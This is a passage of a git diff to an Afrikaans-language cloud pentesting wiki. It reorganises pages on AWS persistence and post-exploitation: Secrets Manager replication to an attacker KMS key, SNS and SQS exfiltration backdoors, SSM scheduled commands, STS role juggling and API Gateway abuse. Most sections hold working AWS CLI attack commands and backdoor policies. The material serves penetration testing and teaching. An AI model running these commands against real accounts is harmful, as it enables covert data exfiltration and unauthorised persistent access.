kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) Kopieer die secret na R2 met behulp van die aanvaller se KMS key +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) Bevorder die replica tot standalone in R2 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) Heg 'n permissiewe resource policy aan die standalone secret in R2 +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..f18dadba8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Persistensie + +Wanneer jy 'n **SNS topic** skep, moet jy met 'n IAM-beleid aandui **wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ +Die volgende beleid gee aan almal in AWS toegang om te lees en te skryf in die SNS topic genaamd **`MySNS.fifo`**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Skep intekenaars + +Om voort te gaan om al die boodskappe van al die onderwerpe te eksfiltreer, kan 'n aanvaller **intekenaars vir al die onderwerpe skep**. + +Let wel dat as die **onderwerp van die tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### Bedekte, selektiewe eksfiltrasie via FilterPolicy op MessageBody + +'n Aanvaller met `sns:Subscribe` en `sns:SetSubscriptionAttributes` op 'n topic kan 'n stil SQS-subskripsie skep wat slegs boodskappe deurstuur waarvan die JSON-body 'n baie noue filter pas (byvoorbeeld `{"secret":"true"}`). Dit verminder volume en opsporing terwyl dit steeds sensitiewe rekords eksfiltreer. + +**Potensiële Impak**: Bedekte, lae-noise eksfiltrasie van slegs geteikende SNS-boodskappe vanaf 'n slagoffer-topic. + +Steps (AWS CLI): +- Sorg dat die aanvaller se SQS-queuebeleid `sqs:SendMessage` vanaf die slagoffer `TopicArn` toelaat (Condition `aws:SourceArn` gelyk aan die `TopicArn`). +- Skep SQS-subskripsie vir die topic: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Stel die filter in om op die message body te werk en slegs by `secret=true` te pas: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Opsionele stilheid: skakel RawMessageDelivery aan sodat slegs die rou payload by die ontvanger aankom: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Validering: publiseer twee boodskappe en bevestig dat slegs die eerste aan die aanvaller se queue afgelewer word. Voorbeeld payloads: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Opschoning: teken uit en verwyder die aanvaller se SQS-queue indien geskep vir persistence testing. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 86a18c4e3..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Gebruik van hulpbronbeleid - -In SQS moet jy met 'n IAM-beleid **aandui wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ -Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd **MyTestQueue**: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die tou geplaas word (jy sal dit op 'n manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..bb1c2f4ad --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Gebruik van resource policy + +In SQS moet jy met 'n IAM policy aandui **wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ +Die volgende policy gee almal in AWS toegang tot alles in die queue genaamd **MyTestQueue**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Jy kan selfs **trigger 'n Lambda in the attacker's account elke keer as 'n nuwe boodskap** in die queue geplaas word (jy sal dit weer moet herplaas). Volg hiervoor hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Meer SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..73302d598 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik SQS Dead-Letter Queues (DLQs) om stiekem data van 'n slagoffer-bron queue af te tap deur sy RedrivePolicy na 'n deur die aanvaller beheerde queue te wys. Met 'n lae maxReceiveCount en deur normale verwerkingsfoute te veroorsaak of af te wag, word boodskappe outomaties na die aanvallers DLQ omgeleid sonder om producers of Lambda event source mappings te verander. + +## Misbruikte Toestemmings +- sqs:SetQueueAttributes on the victim source queue (om RedrivePolicy te stel) +- sqs:SetQueueAttributes on the attacker DLQ (om RedriveAllowPolicy te stel) +- Opsioneel vir versnelde uitvoering: sqs:ReceiveMessage on the source queue +- Opsioneel vir opstelling: sqs:CreateQueue, sqs:SendMessage + +## Selfde-rekening Vloei (allowAll) + +Voorbereiding (aanvaller-rekening of gekompromitteerde principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Uitvoering (run as compromised principal in victim account): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Versnelling (opsioneel): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Validasie: +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Voorbeeldbewys (Eienskappe sluit DeadLetterQueueSourceArn in): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Kruis-rekening-variant (byQueue) +Stel RedriveAllowPolicy op die aanvaller DLQ sodat dit slegs spesifieke slagoffer source queue ARNs toelaat: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Impak +- Onopvallende, volhoubare data exfiltration/persistence deur foutiewe boodskappe outomaties van 'n slagoffer se SQS source queue na 'n deur die aanvaller beheerde DLQ om te lei, met minimale operasionele geraas en geen veranderinge aan produsente of Lambda mappings nie. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..33bc4fd2c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik 'n SQS queue resource policy om stilweg Send, Receive and ChangeMessageVisibility toe te ken aan enige principal wat tot 'n teiken AWS Organization behoort deur die condition aws:PrincipalOrgID te gebruik. Dit skep 'n org-scoped hidden path wat dikwels kontroles ontduik wat slegs kyk na explicit account or role ARNs or star principals. + +### Backdoor policy (heg dit aan die SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Stappe +- Verkry die Organization ID met die AWS Organizations API. +- Kry die SQS queue ARN en stel die queue policy in, insluitend die stelling hierbo. +- Van enige principal wat tot daardie Organization behoort, stuur en ontvang 'n boodskap in die queue om toegang te valideer. + +### Impak +- Organisasie-wye versteekte toegang om SQS-boodskappe te lees en te skryf vanaf enige rekening in die gespesifiseerde AWS Organization. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 6592e2e20..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Gebruik ssm:CreateAssociation vir persistensie - -'n Aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte op EC2-instances wat deur SSM bestuur word, uit te voer. Hierdie assosiasies kan gekonfigureer word om op 'n vaste interval te loop, wat hulle geskik maak vir agterdeur-agtige persistensie sonder interaktiewe sessies. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Hierdie volhardingsmetode werk solank die EC2-instantie deur Systems Manager bestuur word, die SSM-agent loop, en die aanvaller toestemming het om assosiasies te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimum interval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die assosiasie sal een keer na skep uitvoer. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..69fabb591 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### Gebruik ssm:CreateAssociation vir persistence + +'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte uit te voer op EC2-instanties wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te hardloop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Hierdie persistence method werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand permissions nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat die `--schedule-expression` heeltemal weg — die association sal een keer na skepping uitgevoer word. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 6ca9a8c06..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Stap Funksies Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## Stap Funksies - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Stap funksie Agterdeur - -Agterdeur 'n stap funksie om dit te laat uitvoer enige volharding truuk sodat elke keer as dit uitgevoer word, dit jou kwaadwillige stappe sal uitvoer. - -### Agterdeur aliase - -As die AWS-rekening aliase gebruik om stap funksies aan te roep, sal dit moontlik wees om 'n alias te wysig om 'n nuwe agterdeur weergawe van die stap funksie te gebruik. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..64f67b7bd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor a step function om dit enige persistence trick te laat uitvoer, sodat elke keer as dit uitgevoer word, dit jou malicious steps sal uitvoer. + +### Backdooring aliases + +As die AWS-rekening aliases gebruik om step functions aan te roep, sou dit moontlik wees om 'n alias te wysig om 'n nuwe backdoored weergawe van die step function te gebruik. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 64% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 7cbbebd4a..1ab6f837e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ -# AWS - STS Persistensie +# AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Vir meer inligting, toegang: +Vir meer inligting, sien: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} -### Neem rol token +### Assume role token -Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om persistensie te handhaaf. +Temporary tokens kan nie gelys word nie, dus is die behoud van 'n aktiewe temporary token 'n manier om persistence te behou.
aws sts get-session-token --duration-seconds 129600
 
-# Met MFA
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Hardeware toestelnaam is gewoonlik die nommer aan die agterkant van die toestel, soos GAHT12345678
-# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/gebruikersnaam
-# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/gebruikersnaam
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
-### Rolketting Juggling +### Role Chain Juggling -[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wat dikwels gebruik word om stealth persistensie te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander rol aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die voortdurende vernuwing van geloofsbriewe toe. +Role chaining is 'n erkende AWS-funksie wat dikwels gebruik word om stealth persistence te onderhou. Dit behels die vermoë om 'n role te assume wat dan 'n ander assume, en moontlik op 'n sikliese wyse na die aanvanklike role terugkeer. Elke keer 'n role assumed word, word die credentials se expiration veld vernuwe. Gevolglik, as twee roles gekonfigureer is om mekaar wedersyds te assume, laat hierdie opstelling die voortdurende vernuwing van credentials toe. -Jy kan hierdie [**instrument**](https://github.com/hotnops/AWSRoleJuggler/) gebruik om die rolketting aan die gang te hou: +You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip van daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie. +> Let wel dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script van daardie Github repository nie alle maniere waarop 'n rolketting gekonfigureer kan word, vind nie.
-Code om Rol Juggling vanaf PowerShell uit te voer +Kode om Role Juggling vanaf PowerShell uit te voer ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md deleted file mode 100644 index 0658577ca..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ /dev/null @@ -1,132 +0,0 @@ -# AWS - API Gateway Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Toegang tot nie-blootgestelde APIs - -Jy kan 'n eindpunt skep in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) met die diens `com.amazonaws.us-east-1.execute-api`, die eindpunt blootstel in 'n netwerk waar jy toegang het (potensieel via 'n EC2 masjien) en 'n sekuriteitsgroep toewys wat alle verbindings toelaat.\ -Dan, vanaf die EC2 masjien sal jy in staat wees om toegang tot die eindpunt te verkry en dus die gateway API aan te roep wat voorheen nie blootgestel was nie. - -### Oorbrug aanvraagliggaam pas deur - -Hierdie tegniek is gevind in [**hierdie CTF skrywe**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). - -Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die aanvraag nagegaan word, sal die aanvraag na die agterkant deurgee sonder enige transformasie. - -Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n aanvraag gestuur is met `Content-Type: application/json`: -```yaml -RequestTemplates: -application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' -``` -egter, om 'n versoek te stuur met **`Content-type: text/json`** sou daardie filter voorkom. - -Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag te stuur sonder enige beperking deur 'n POST-versoek met die navraag in die liggaam te stuur en die koptekst `X-HTTP-Method-Override: GET` te gebruik: -```bash -curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' -``` -### Gebruik Planne DoS - -In die **Enumerasie** afdeling kan jy sien hoe om die **gebruik plan** van die sleutels te **verkry**. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**. - -Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genoem **`x-api-key`**. - -### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` - -'n Aanvaller met die regte `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**. -```bash -API_ID="your-api-id" -RESPONSE_TYPE="DEFAULT_4XX" - -# Update the Gateway Response -aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potensiële Impak**: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne. - -> [!NOTE] -> Nodig om te toets - -### `apigateway:UpdateStage`, `apigateway:CreateDeployment` - -'n Aanvaller met die regte `apigateway:UpdateStage` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway-fase wysig om verkeer na 'n ander fase te herlei of die kasinstellings te verander om ongemagtigde toegang tot gekapte data te verkry**. -```bash -API_ID="your-api-id" -STAGE_NAME="Prod" - -# Update the API Gateway stage -aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskep van API-verkeer. - -> [!NOTE] -> Nodig om te toets - -### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` - -'n Aanvaller met die toestemmings `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die metode-respons van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte koptekste of respons-sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -STATUS_CODE="200" - -# Update the method response -aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potensiële Impak**: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne. - -> [!NOTE] -> Nodig om te toets - -### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` - -'n Aanvaller met die regte `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging te deaktiveer of die minimum TLS-weergawe te verander, wat moontlik die sekuriteit van die API verzwak**. -```bash -API_ID="your-api-id" - -# Update the REST API settings -aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Potensiële Impak**: Versterking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel. - -> [!NOTE] -> Nodig om te toets - -### `apigateway:CreateApiKey`, 